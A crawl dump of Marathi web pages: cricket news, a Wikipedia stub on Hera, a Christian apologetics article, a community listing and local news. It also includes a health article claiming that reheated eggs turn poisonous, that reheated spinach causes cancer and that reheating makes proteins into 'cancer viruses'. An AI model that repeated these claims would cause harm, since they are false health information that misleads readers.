चेतेश्वर पुजारा, अजिंक्‍य रहाणे (उपकर्णधार), रोहीत शर्मा, रविचंद्रन आश्विन, वृद्धिमान सहा (यष्टीरक्षक), इशांत शर्मा, उमेश यादव, हार्दीक पांड्या, भुवनेश्वर कुमार, मोहम्मद शमी, कुलदीप यादव, अभिनव मुकुंद, शिखर धवन\nपहिला कसोटी सामना २६ ते ३० जुलै गॅले\nदुसरा कसोटी सामना ३ ते ७ ऑगस्ट कोलंबो\nतिसरा कसोटी सामना १२ ते १६ ऑगस्ट कॅंडी\nपहिला एकदिवसीय सामना २० ऑगस्ट डॅबुल्ला\nदुसरा एकदिवसीय सामना २४ ऑगस्ट कॅंडी\nतिसरा एकदिवसीय सामना २७ ऑगस्ट कॅंडी\nचौथा एकदिवसीय सामना ३१ ऑगस्ट कोलंबो\nपाचवा एकदिवसीय सामना ३ सप्टेंबर कोलंबो\nएकमेव टी-२० सामना ६ सप्टेंबर कोलंबो\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\nकर्णधारपद रोहित शर्मासाठी ठरतयं फलदायी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00381.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "http://www.pudhari.news/news/Aarogya/Reheating-These-Food-Items-Are-Bad-For-Health/", "date_download": "2018-09-25T16:51:50Z", "digest": "sha1:EYOTQZ3RTNT4AXQRRYZNN7RCNMQ4W5ZQ", "length": 9638, "nlines": 52, "source_domain": "www.pudhari.news", "title": " सावधान; ‘या’ गोष्टी पुन्हा गरम करून खाऊ नका! | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Aarogya › सावधान; ‘या’ गोष्टी पुन्हा गरम करून खाऊ नका\nसावधान; ‘या’ गोष्टी पुन्हा गरम करून खाऊ नका\nमुंबई : पुढारी ऑनलाईन\nपल्लवी साधारण १९ वर्षाची कॉलेज तरूणी. नेहमीप्रमाणे दुपारी घरी आली आणि जेवण करून झोपी गेली. पण थोड्यावेळाने तिच्या अचानक पोटात दुखू लागलं..तिने अनेक घरगुती उपाय केले तरी तो त्रास कमी होईना. शेवटी ती दवाखान्यात गेली. क्लिनिकमध्ये डॉक्टरांनी तिला विचारले की आज काय खाल्ल होते. त्यावर ती बोलली, रोजचेच जेवण खाल्ले होते. मी रोज कॉलेज कॅन्टीममध्ये नाश्ता करते पण आज ते ही केले नाही. घरीच जेवले होते. डॉक्टरांनी तीला विचारले, जेवणात काय-काय खाल्ले. ती बोलली, आज आर्इ नव्हती. त्यामुळे घरीच शिळा भात फोडणी देवून खाल्ला...आता डॉक्टरांच्या लक्षात आले की नक्की काय झालय. डॉक्टरांनी तिला सांगितले की, तुझ्या पोटदुखीचे खरे कारण हे घरचेच खाणे आहे.\nघरातील खाणे चांगले असते पण, काही पदार्थ पुन्हा गरम करून खाल्याने अनेक आजारांना निमंत्रण ठरू शकते, असेही डॉक्टर म्हणाले. त्याचबरोबर त्यांनी असे कोणते पदार्थ आहेत जे गरम केल्यामुळे आरोग्यासाठी घातक असतात याची माहिती दिली. चला तर मग पाहूयात असे कोणते पदार्थ आहेत जे पुन्हा गरम केल्याने तुमची तब्येत बिघडू शकते...\nचिकन पुन्हा गरम केल्यास त्यातील प्रोटीन्स कॉम्पोजिशनमध्ये परावर्तीत होतात. त्यामुळे त्याचे पचन व्हायला अनेक समस्या निर्माण होतात.\nबटाटा आरोग्यासाठी चांगला असतो असे म्हणतात. पण, बटाट्याची भाजी बनवून अधिक वेळ ठेवली तर त्यातील पोषक तत्वे नष्ट होतात. बटाटा पुन्हा गरम करून खाल्यास त्याचे पचन लवकरत होत नाही.\nतुम्ही बीटाची भाजी बनवून खात असाल तर ते पुन्हा गरम करू नये. असे केल्याने त्यातील नायट्रेट संपते.\nमशरूमला पोषक तत्वांचा खजिना म्हटले जाते. त्यामुळे ते खरेदी करताना नेहमी फ्रेश असतील याची खबरदारी घ्यावी. मशरून पुन्हा गरम केल्याने यातील प्रोटीन्स कॉम्पोजिशनमध्ये परावर्तीत होतात आणि शरीरासाठी ते हानीकारक असते.\nप्रोटीन्सचा साठा म्हणून अंड्याची ओळख आहे. पण, ते पुन्हा गरम केल्याने अंड्यातील प्रोटीन्स तुमच्यासाठी विष ठरू शकतात.\nपालक पुन्हा गरम करून खाणे कॅन्सरचे कारण बनू शकते. पालक भाजीतील नायट्रेट पुन्हा गरम केल्याने कॅन्सर होण्याचा धोका वाढतो.\nसाधारणपणे प्रत्येक घरात पापड तळल्यानंतर शिल्लक राहणारे तेल दुसऱ्या भाजीसाठी वापरले जाते. ते पुन्हा पुन्हा वापरल्याने त्यात एल्डीहाइड्स नावाचे केमिकल तयार होते. हे केमिकल अतिशय विषारी असते. हे केमिकल मानवी रक्तवाहिण्यांशी संबंधित रोग आणि कॅन्सर होण्यासाठी जबाबदार असतात.\nकच्च्या तांदुळात काही किटक असतात. जे तांदुळ शिजवल्यानंतर नष्ट होतात. पण, भात थंड झाल्यानंतर ते पुन्हा त्यामध्ये येतात. त्यामुळे भात पुन्हा गरम केल्याने ते किटक मरत नाहीत. पुन्हा गरम केलेला भात खाल्याने फुड पॉयजनिंग होते.\nहे सर्व ऐकल्यानंतर पल्लवीने डॉक्टरांना पुन्हा एक प्रश्न केला की, असे का होते म्हणजे अन्न गरम केल्यानंतर त्यातील किटक मरायला हवेत पण तसे का होत नाही\nयावर डॉक्टर म्हणाले, जेवण पुन्हा गरम केल्याने त्यातील जीवनसत्व संपतात. काही पदार्थ असे आहेत जे पुन्हा गरम केल्याने त्यातील प्रोटीन्स कॅन्सरच्या विषाणूंमध्ये परावर्तीत होतात. थोडक्यात सांगायचे तर अन्न पुन्हा गरम केल्याने त्यातील प्रोटीन्स संपतात. त्यानंतर ते अन्न खाण्यायोग्य राहत नाही.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00382.warc.wet.gz", "language": "mr", "language_score": 1.0, "bucket": "all"} {"url": "https://mr.wikipedia.org/wiki/%E0%A4%B9%E0%A4%BF%E0%A4%85%E0%A4%B0%E0%A4%BE", "date_download": "2018-09-25T16:46:58Z", "digest": "sha1:NEPQTXADSBEWGDPG6JEUUBFGTR42TQ5V", "length": 5956, "nlines": 159, "source_domain": "mr.wikipedia.org", "title": "हिअरा - विकिपीडिया", "raw_content": "\nहा लेख ग्रीक देवता \"हिअरा\" याबद्दल आहे. या शब्दाच्या इतर उपयोगांसाठी पाहा, हिअरा (निःसंदिग्धीकरण).\nहिरा याच्याशी गल्लत करू नका.\nलूव्र संग्रहालयातील हीराचा पुतळा\nहिअरा ऊर्फ हीरा ही प्रमुख ग्रीक देवता झ्यूसची पत्नी होती. ही देवांची व स्वर्गाची राणी तसेच स्त्रीत्व, गृहस्थी व मातृत्वाची अधिष्ठात्री मानली जाते.\tहिलाच रोमन संस्कृतीत ज्युनो म्हणून ओळखले जाते.\nकृपया स्वत:च्या शब्दात परिच्छेद लेखन करून या लेखाचा / विभागाचा विस्तार करण्यास मदत करा.\nअधिक माहितीसाठी या लेखाचे चर्चा पान, विस्तार कसा करावा किंवा इतर विस्तार विनंत्या पाहा.\nग्रीक दैवते झ्यूस हिअरा पोसायडन डीमिटर हेस्तिया ऍफ्रडाइटी अपोलो ऍरीस आर्टेमिस अथेना हिफॅस्टस हर्मीस\nरोमन दैवते ज्युपिटर जुनो नेपच्यून सेरेस व्हेस्टा व्हीनस मार्स डायाना मिनर्व्हा व्हल्कन मर्क्युरी\n१ : समान स्तंभातील दैवते दोन्ही मिथकशास्त्रांमध्ये एकसारखीच आहेत.\nयेथे काय जोडले आहे\nया पानातील शेवटचा बदल ७ एप्रिल २०१३ रोजी १०:०१ वाजता केला गेला.\nयेथील मजकूर हा क्रियेटीव्ह कॉमन्स अट्रीब्युशन/शेअर-अलाईक लायसन्स या अंतर्गत उपलब्ध आहेत;अतिरिक्त अटी लागू असू शकतात. अधिक माहितीसाठी हे बघा वापरण्याच्या अटी.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00382.warc.wet.gz", "language": "mr", "language_score": 0.91, "bucket": "all"} {"url": "https://www.gotquestions.org/Marathi/Marathi-deity-of-Christ.html", "date_download": "2018-09-25T17:06:52Z", "digest": "sha1:5JL6EUX7KFAVJG4L5PJSTRSV754YZ2HT", "length": 16465, "nlines": 38, "source_domain": "www.gotquestions.org", "title": " ख्रिस्ताचे दैवत्व हे पवित्र शास्त्रावर अधारीत आहे का?", "raw_content": "\nनेहमी विचारण्यात येणारे प्रश्न\nख्रिस्ताचे दैवत्व हे पवित्र शास्त्रावर अधारीत आहे का\nप्रश्नः ख्रिस्ताचे दैवत्व हे पवित्र शास्त्रावर अधारीत आहे का\nउत्तरः येशूने आपल्याविषयी विशिष्ट रित्या आपल्या शिष्यांना ख्रिस्ताच्या दैवत्वाची ओळख करुन दिली, त्यांनी जाहिर केले की, पापाची क्षमा करण्याचा अधिकार येशूकडे आहे- जे की फक्त देवच करु शकतो- कारण तो देव होता. त्याला पापामुळे ठेच पोहोंचली होती(प्रेषीत 5:31;करसै 3:13; स्त्रोत्र 130:4; यिर्मया 31:34).पुराव्याच्या संगतीत जवळीक सबंधात येशूसाठी असे म्हटले जाते की, “तो जीवीतांचा व मृतांचा न्याय करणार”(2तिमत्थी 4:1). थोमा मोठया येशूला म्हणाला ,”माझ्या प्रभु आणि माझ्या देवा”(योहान 20:28). पौल येशूला म्हणतो, “महान देवा आणि तारणारा” (तीताला 2:13) यावरुन स्पष्ट होते की, देह धारणेच्या आगोदर येशू “देवाच्या रुपात होता” (फिलीप 2:5-8) देव पिता येशू विषयी असे म्हणतो, “हे देवा तुझे राजासन युगायुगाचे आहे”(इब्री-1:8), योहान असे म्हणतो, “प्रारंभी शब्द होता शब्द देवासह होताआणि शब्द देवासह (येशु) आणि शब्द देव होत”(योहान1:1).उदाहरणसाठी पवित्र शास्त्रातील पुष्कळसे वचने येशुच्या दैवत्वाविषयी सांगतात (पहा. प्रगटी 1:17, 2:8; 22:13;1करिंथ 10:4;1पेत्र 2:6-8;स्त्रोत्र18:27; 95:1;1पेत्र 5:4;इब्री 13:20),परंतू यामध्ये एवढेच सांगण्यासाठी पर्याप्त आहे की, ख्रिस्ताच्या अनुन्यायांच्या द्वारे येशुला देव समजले जाऊ शकते.\nयेशुला सुध्दा नाव देण्यात आले जसे की जुन्या करारात विशेष करुन यहोवा (देवाचे औपचारीक नाव) दिलेले आहे. जुन्या करारामध्ये शिर्षक देण्यात आलेले आहे ते म्हणजे “सोडविणारा” (स्तोत्र सहिता130:7; होशय 13:14) ते नवीन करारामध्ये येशुसाठी त्याचा उपयोग करणयात आला (तिताला पत्र 2:13;प्रगटी 5:9) येशुला मतयाच्या पहिल्या अध्यायात “इमानुएल” आम्हाबरोबर देव असे म्हणण्यात आले मतय 1. जखऱ्या 12:10 मध्ये, यहोवा असे म्हणतो. “ज्याला त्यांनी वधीले त्याच कडे ते पाहतील” परंतू नवीन करार त्याला वधस्तंभावर टांगण्यात आले(योहान 19:37, प्रगटी 1:7) जर तो यहोवा आहे, त्याला वधस्तंभावर वधील व त्याचकडे पाहण्यात आले आणि तो येशच आहे की जो तो वधस्तंभावर वधीला गेला. त्याचकडे पाहण्यात आले. यामधून असे समजते येशु यहोवा आहे पौलस यशयाच्या 45:22-23 च्या वचनात फिलीप 2:10-11 मध्ये येशुविषयी लागूकरण करतो. या व्यतिरिक्त येशुचे नाव यहोवाच्या प्रार्थनेसंगती घेतले जाते. “देव पिता” आणि प्रभु येशु ख्रिस्त याचकडून तुम्हास अनुग्रह आणि शांती सदेदीत आपणा संगती राहो. जर येशु हा देव नाही. तर ती देवाची निंदा केल्यासारखे होईल. येशुचे नाव यहोवा संगती त्याच्या आज्ञाप्रमाणे बात्पिस्मा विधीच्या वेळी घेण्यात येते. “पिता, पुत्राच्या आणि पवित्र आत्म्याच्या नामात” (मतय 28:19 आणि पहा दुसरे करिंथ 13:14)\nजे कार्य देवाकडूनच केले जाते तेच कार्य येशुला करण्यासाठी देण्यात आले येशु फक्त मरणातुन उठला नाही(येहान 5:21, 11:34-44) आणि पापाची क्षमा केली(प्रेषित 5:31, 13:38), तो उत्पादक विश्वासाला सांभाळणारा आहे(योहान 1:2 कलसै 1:16-18) ही गोष्ट अधिकच स्पष्ट होते यहोवा म्हणतेा सृष्टीच्या निर्माण करतेवेळी तो एकटाच होता. (44:24)याशिवाय येशुमध्ये जे गुण होते ते फक्त देवामध्येच असु शकतात. सार्वकालीक (योहान 8:58) सर्वभौम (मत्तय 18:20, 28:20) सर्वज्ञाता (मत्तय 16:21) सर्वसामर्थ्य(योहान11:30-44).\nआता अशी एक गोष्ट असू शकते की जे देव असण्याचा दावा करु शकते एखादयाला मुर्ख बनविने ही एक गोष्ट असू शेकते. तो सत्य देव आहे विश्वास करणे आणि ते सार्वकालिक असल्याचे प्रमाण देणे ही एक बाब आहे येशुने आपल्या दैवत्वाला प्रगट करण्यासाठी चमत्कार केले फक्त काही चमत्कार केले असे की पाण्याचा त्याने द्राक्षरस केला(योहान 2:7), पाण्यावरुन चालला (मत्तय 14:25), भौतिक वस्तुमध्ये गुनात्महरित्या वाढ केली(योहान 6:11), आंधळयांना दृष्टी दिली (योहान 9:7)लंगडयांना पाय दिले(मार्क 2:3),आणि आजाऱ्यांना बरे केले(मत्तय 9:35, मार्क 1:40-42), आणि मरणातून लोकांना उठविले(योहान 11:43-44; लुक 7:11-15; मार्क 5:35).पुष्कळ असे ख्रिस्त मरणातून उठला विधर्मी लोकांच्या कहाण्यांमध्ये देवाचे मरणे जीवंत होणे या गोष्टीचा बिलकुल उल्लेख नाही पुनरूथ्थान अर्थातच मरणातून जीवंत होणे. यावर विधर्मी लोक अधिक गांभीर्याने दावा करीत नाही त्यांच्या जवळ दुसले असे कोणतेही स्पष्टपणे सांगितले जात नाही. जे पवित्र शास्त्रात सांगितले आहे.\nयेशुविषयी कमीत कमी बारा सत्य आहेत ते ख्रिस्ताला न माननारेही विद्वान मानतील.\n1.\tयेशुला वधस्तंभावर मारण्यात आले.\n2.\tत्याला गाढण्यात आले.\n3.\tत्याचे मरण त्याच्या शिष्यांसाठी निराशाचे व आशाहिनतेचे कारण बनले.\n4.\tत्याची कबर काही दिवसात रिकामी होती. (ती रिकामी असल्याचा दावा केला गेला)\n5.\tशिष्यांनी येशुला जिवंत झाल्याचा अनुभव केला. त्याजवर विश्वास ठेवला.\n6.\tत्याच्यानंतर येशुचे शिष्य हे संशयातून बाहेर पडले. भयरहित होऊन परिवर्तीत व पक्के विश्वासनरे झाले.\n7.\tहा संदेश सुरूतीच्या मंडळयांचा केंद्रेबिंदू बनला.\n8.\tया संदेशाचा यरुशेलाममध्ये प्रचार करण्यात आला.\n9.\tहया प्रचाराचा परिणाम मंडळयांचा जन्म आणि त्यांची वाढ झाली.\n10.\tपुनरुत्थानाचा दिवस, रविवार शाबाथ (शनिवार) आराधना करण्यासाठी बदलण्यात आला.\n11.\tयाकोब व संदेशवादी लोक त्यावेळी परिवर्तीत झाले. जेंव्हा त्यांनी विश्वास केला की, येशु जीवंत आहे\n12.\tपौल हा येशुवर विश्वास ठेवणाऱ्यांचा शत्रु होतो. एका अनुभवाच्या वेळी त्याचे परिवर्तन झाले. त्याने येशुच्या मरणावर व जीवंत होण्यावर विश्वास ठेवला.\nजर कोणी या सचीव आक्षेप नोंदवील तरीही येशुच्या पनरुत्थानाचे प्रमाण हे सुवार्तेवर आहे. येशुचे मरण गाढले जाणे व पुनरुत्थीत होणे व पुष्कळांना प्रगट होणे (1करिंथ 15:1-5) या घटनांना कदाचित एक किंवा दोन तत्वज्ञानांसाठी काही सिध्दांत असू शकतात परंतू पुनरुत्थानच ही सर्वांची स्पष्टता करते. त्यासाठी ते उत्तर दायी आहे. आलोचक हा विश्वास करतात की, येशुच्या शिष्यांनी जीवंत झालेल्या येशुला पाहिले. ती काही लबाडी नाही. मतिभ्रष्टता नाही. याप्रकारे लोकांची परिवर्तन घडवून आणणारी गोष्ट आहे. जी की पुनरूत्थानाने केली. सर्वप्रथम त्यांना या पासून काय लाभ होणार आहे. कारण ख्रिस्तीयत एवढी प्रचलित नव्हती. किंवा त्यांना त्यापासून पैसे कमावता येत नव्हते. दुसरे लबाड लोक कधीही शहिद होत नाहीत. आपल्या विश्वासाने त्याच्या शिष्याने स्वईच्छेने भय प्रत मरण स्विकारले. त्यामुळे पुनरुत्थानाविषयी यापेक्षा अधिक स्पष्टीकरण नसेल. होय पुष्कळ लोक काही असत्य गोष्टींसाठी मरतात. कारण ते असत्य गोष्टीला सत्य मानतात. परंतू काही लोक येशुला देव मानतात.\nसारांश, येशुने हे प्रमाणित केले की, तो यहोवा आहे. तो देव आहे. (फक्त तो केवळ एकच देव नाही तर सत्य देव आहे.) त्याचे शिष्य (जे यहोदी लोक मुर्तीपूजा करण्यास भित असत) त्याजवर विश्वास करीत की, तो देव आहे. ख्रिस्ताने हे प्रमाणित केले. त्याच्या चमत्काराच्या द्वारे ज्यामध्ये त्याचे विश्वाला हलविणारे पुनरुत्थान समीलीत आहे. इतर कोणतीही परिपक्वता किंवा स्पष्टीकरण आपण करु शकत नाहीत. ख्रिस्ताचे दैवत्व हे पवित्र शास्त्रावर आधारीत आहे.\nमराठीच्या पहिल्या पानावर वापस या\nख्रिस्ताचे दैवत्व हे पवित्र शास्त्रावर अधारीत आहे का\nकसे ते शोधा ...\nभगवंताशी अनंतकाळ खर्च करा\nशुभ वार्ता अतिमहत्वाचा प्रश्न नेहमी विचारण्यात येणारे प्रश्न\nनेहमी विचारण्यात येणारे प्रश्न\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00383.warc.wet.gz", "language": "mr", "language_score": 1.0, "bucket": "all"} {"url": "https://www.maayboli.com/taxonomy/term/209?page=5", "date_download": "2018-09-25T18:06:57Z", "digest": "sha1:UCEMGA5NOLVAHQRLC2UXMOM66EX6OZPB", "length": 14915, "nlines": 220, "source_domain": "www.maayboli.com", "title": "संस्कृती : शब्दखूण | Page 6 | Maayboli", "raw_content": "\nमायबोलीचे मोबाईल अ‍ॅप (अँड्रोईड + आयओएस) सर्वांसाठी उपलब्ध आहे.\nYou are here: मुख्यपृष्ठ /संस्कृती\nगडदुर्गा - तुंगाई, किल्ले कठीणगड उर्फ तुंग (८)\nRead more about गडदुर्गा - तुंगाई, किल्ले कठीणगड उर्फ तुंग (८)\nगडदुर्गा - श्री जोगेश्वरी देवी, भैरवगड, हेळवाक (७)\nRead more about गडदुर्गा - श्री जोगेश्वरी देवी, भैरवगड, हेळवाक (७)\nचित्ती असो द्यावा येक\nनाम मुखी वसो सदा\nअास हीच जागो चित्ती\nगडदुर्गा - धोडंबदेवी, धोडप (६)\nRead more about गडदुर्गा - धोडंबदेवी, धोडप (६)\nगडदुर्गा - पाटणादेवी, कन्हेरगड (५)\nअपरिचित किल्ले आणि त्यावरील विशेष स्थाने\n१८ भुजा असलेले पाटणादेवी\nRead more about गडदुर्गा - पाटणादेवी, कन्हेरगड (५)\nगडदुर्गा - हस्तमाता, नारायणगड (४)\nRead more about गडदुर्गा - हस्तमाता, नारायणगड (४)\nगडदुर्गा - श्री कोराई देवी, कोरीगड (३)\nकोरीगड (कोराईगड) हा लोणावळा परिसरातील प्रसिद्ध गिरीदुर्ग, पर्यटक तसेच ट्रेक्कर दोघांचा लाडका. चढाईच्या सोप्या श्रेणीत येणाऱ्या ह्या किल्ल्यावर भटक्यांची नेहमी वर्दळ असते.\nRead more about गडदुर्गा - श्री कोराई देवी, कोरीगड (३)\nरेड लाईट डायरीज - शांतव्वा ....\nप्रत्येकाच्या पावसाच्या अनेक तऱ्हेच्या आठवणी असतात तशा माझ्याही आहेत. त्यातलीच एक आठवण आहे शांतव्वाची. तिची आठवण येताच डोळ्यातले अश्रू थिजून जातात. अंगावर शिरशिरी येते, नकळत मन विद्ध होते. एका पावसाळ्यात पहाटे कधीतरी ती रस्त्यावर मरून पडली होती, ओला होता तिचा देह पण काळजातली धग म्लान चेहऱ्यावर निखाऱ्यांच्या रेषा चितारून गेली होती. तिच्या मुठी खुल्याच होत्या, जबडा बंद होता अन चांदवलेले डोळे सताड उघडे होते. कदाचित ती मरताना अस्मानातून चंद्र तिच्या डोळ्यात उतरला असावा, मायेने विचारपूस करताना तिच्या डोळ्यातल्या वेदनांच्या खाऱ्या पाण्यात विरघळून गेला असावा....\nRead more about रेड लाईट डायरीज - शांतव्वा ....\nलव यू ज़िन्दगी: अदूचा तिसरा वाढदिवस\nआज तू चक्क तीन वर्षांची झालीस वाढदिवशी तू घातलेल्या पंखाप्रमाणे तुला आता खरोखर पंख फुटले आहेत वाढदिवशी तू घातलेल्या पंखाप्रमाणे तुला आता खरोखर पंख फुटले आहेत तुझा वाढदिवस तू खूप खूप एंजॉय केलास तुझा वाढदिवस तू खूप खूप एंजॉय केलास दिवसभर 'हॅपी बर्थडे टू यू' म्हणत होतीस दिवसभर 'हॅपी बर्थडे टू यू' म्हणत होतीस गेल्या एका वर्षामध्ये तुझी झेप थक्क करणारी आहे गेल्या एका वर्षामध्ये तुझी झेप थक्क करणारी आहे अलीकडे तर तू मोठ्या माणसांप्रमाणे बोलतेस अलीकडे तर तू मोठ्या माणसांप्रमाणे बोलतेस जवळ जवळ ऐकलेला प्रत्येक शब्द तुला लक्षात राहतो आणि नंतर तू अचानक तो शब्द असलेलं वाक्य बोलतेस जवळ जवळ ऐकलेला प्रत्येक शब्द तुला लक्षात राहतो आणि नंतर तू अचानक तो शब्द असलेलं वाक्य बोलतेस तुला इतके बारीक सारीक संदर्भ लक्षात राहतात तुला इतके बारीक सारीक संदर्भ लक्षात राहतात माणसं चांगले लक्षात राहतात\nRead more about लव यू ज़िन्दगी: अदूचा तिसरा वाढदिवस\nसामाजिक कार्य करायचे आहे,सामाजिक संस्था /NGO's सूचवा\nमी याआधीच्या अनेक लेखात माझी पार्श्वभुमी लिहीली आहे.नविन लोकांसाठी परत लिहीतो.मी शेतकरी आहे .सातार्यात राहतो.मी अल्पभूधारक शेतकरी आहे.माझ्यापुरतं मी कमावतो.आठवड्यातील पाच दिवस मी रिकामा असतो.एखादी नोकरी व कामधंदा केल्यास वेळ जाईल असे वाटल्याने एक धागा काढला होता.त्यात मी लीहील्याप्रमाणे मला सोशल फोबिया आहे.त्यामुळे सोशली इंटेंन्सीव्ह काम मला जमेल असे वाटत नाही.त्यामुळे रिकामा वेळ जावा व सत्कारणी लागावा यासाठी मी सध्या एखाद्या सामाजिक संस्थेत काम करावे असा विचार करत आहे.जेणेकरुन माझा वेळही जाईल आणि समाजाला काहीतरी मदत होईल.आणि माझा सोशल फोबिया कमी होईल हा आणिक फायदा.\nRead more about सामाजिक कार्य करायचे आहे,सामाजिक संस्था /NGO's सूचवा\nनवीन खाते उघडून मायबोलीकर व्हा\nनवीन परवलीचा शब्द मागवा\nस्थापना : गणेश चतुर्थी, सप्टेंबर १६, १९९६. प्रताधिकार १९९६-२०१८ मायबोली. सर्व हक्क स्वाधीन. वापराचे/वावराचे नियम\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00383.warc.wet.gz", "language": "mr", "language_score": 0.86, "bucket": "all"} {"url": "http://www.esakal.com/kokan/solar-street-lights-will-brighten-47132", "date_download": "2018-09-25T17:38:05Z", "digest": "sha1:UBFOOXL2OXWQ3FQKW2U2KO27PTPD37BT", "length": 12776, "nlines": 169, "source_domain": "www.esakal.com", "title": "The solar street lights will brighten up देवरुख उजळणार सौर पथदिव्यांनी | eSakal", "raw_content": "\nदेवरुख उजळणार सौर पथदिव्यांनी\nमंगळवार, 23 मे 2017\nदेवरूख - देवरूख नगरपंचायतीतर्फे शहरातील पथदीपांच्या जागी नवे सौर पथदीप बसविण्यात येणार असून त्यासाठी ११० ठिकाणे निश्‍चित करण्यात आली आहेत. यासाठी स्टेट बॅंक ऑफ इंडिया व देवरूख शिक्षण प्रसारक मंडळाची मदत घेण्यात येत असल्याची माहिती नगरपंचायतीने दिली.\nदेवरूख - देवरूख नगरपंचायतीतर्फे शहरातील पथदीपांच्या जागी नवे सौर पथदीप बसविण्यात येणार असून त्यासाठी ११० ठिकाणे निश्‍चित करण्यात आली आहेत. यासाठी स्टेट बॅंक ऑफ इंडिया व देवरूख शिक्षण प्रसारक मंडळाची मदत घेण्यात येत असल्याची माहिती नगरपंचायतीने दिली.\nनगरपंचायतीवर सत्ताधारी असलेल्या देवरूख विकास आघाडीने गेल्या वर्षभरात सुमारे दोन कोटींची विकासकामे मंजूर करून आणली आहेत. त्याशिवाय नगरपंचायतीतर्फे गेले वर्षभर स्वच्छ देवरूख -सुंदर देवरूख अभियान राबविण्यात येत आहे. देवरूख शिक्षण प्रसारक मंडळाचे अध्यक्ष सदानंद भागवत यांच्याशी नगराध्यक्ष व उपनगराध्यक्षांनी चर्चा करून सोलर दिव्यांबाबतची माहिती दिली. भागवत यांनी स्टेट बॅंकेच्या सीएसआय फंडातून हे दिवे मिळावेत अशी मागणी केली आहे. या मागणीचा स्टेट बॅंकेने विचार करून २५ लाखांचा निधी नगरपंचायतीला दिला आहे. या २५ लाखात ११० ठिकाणी नवे सौर पथदीप बसविण्यात येणार असून देवरूख शहर लवकरच सौर पथदिपांनी उजळणार आहे. सध्या शहरात ७१७ ठिकाणी विजेचे पथदिप बसविण्यात आले आहेत. यात सोलर दिव्यांची भर पडणार असल्याने देवरुखातील काळोखाचा प्रश्‍न निकाली निघून विजेचीही बचत होणार आहे. जिथे खरोखरच गरज आहे आणि दुर्गम भाग आहे अशी ठिकाणे निश्‍चित करून हे दिवे बसविले जाणार आहेत.\nनगरपंचायतीच्या माध्यमातून नगराध्यक्ष व उपनगराध्यक्षांनी रस्ते विकासासाठी तब्बल २ कोटी रुपयांचा निधी मिळवला. यातून शहरातील जवळपास सर्व रस्ते चकाचक होत आहेत. यातील १ कोटी खर्च करून आत्तापर्यंत २३ रस्ते हॉटमिक्‍स पद्धतीने चकाचक झाले आहेत. सद्यस्थितीत ९ रस्त्यांची कामे प्रगतिपथावर असून पावसाआधी उर्वरित कामे पूर्ण होतील, असा विश्‍वास व्यक्‍त करण्यात येत आहे.\nबाळासाहेब खोटे बोलतात : गुलाबराव गावंडे\nअकोला : राष्ट्रवादी काँग्रेसचे सर्वेसर्वा आणि महाराष्ट्रातील बहुजनांचे नेते शरद पवार यांच्यामुळेच भारिप बहुजन महासंघाचे नेते अॅड. बाळासाहेब...\nगोवा : आमदार गावकरांचा वन महामंडळ अध्यक्षाचा राजीनामा\nपणजी : राज्यातील भाजप सरकारला पाठिंबा दिलेले सांगेचे अपक्ष आमदार प्रसाद गावकर यांनी आज गोवा वन विकास महामंडळाच्या अध्यक्षपदाचा राजीनामा दिला...\nसोलापुरात 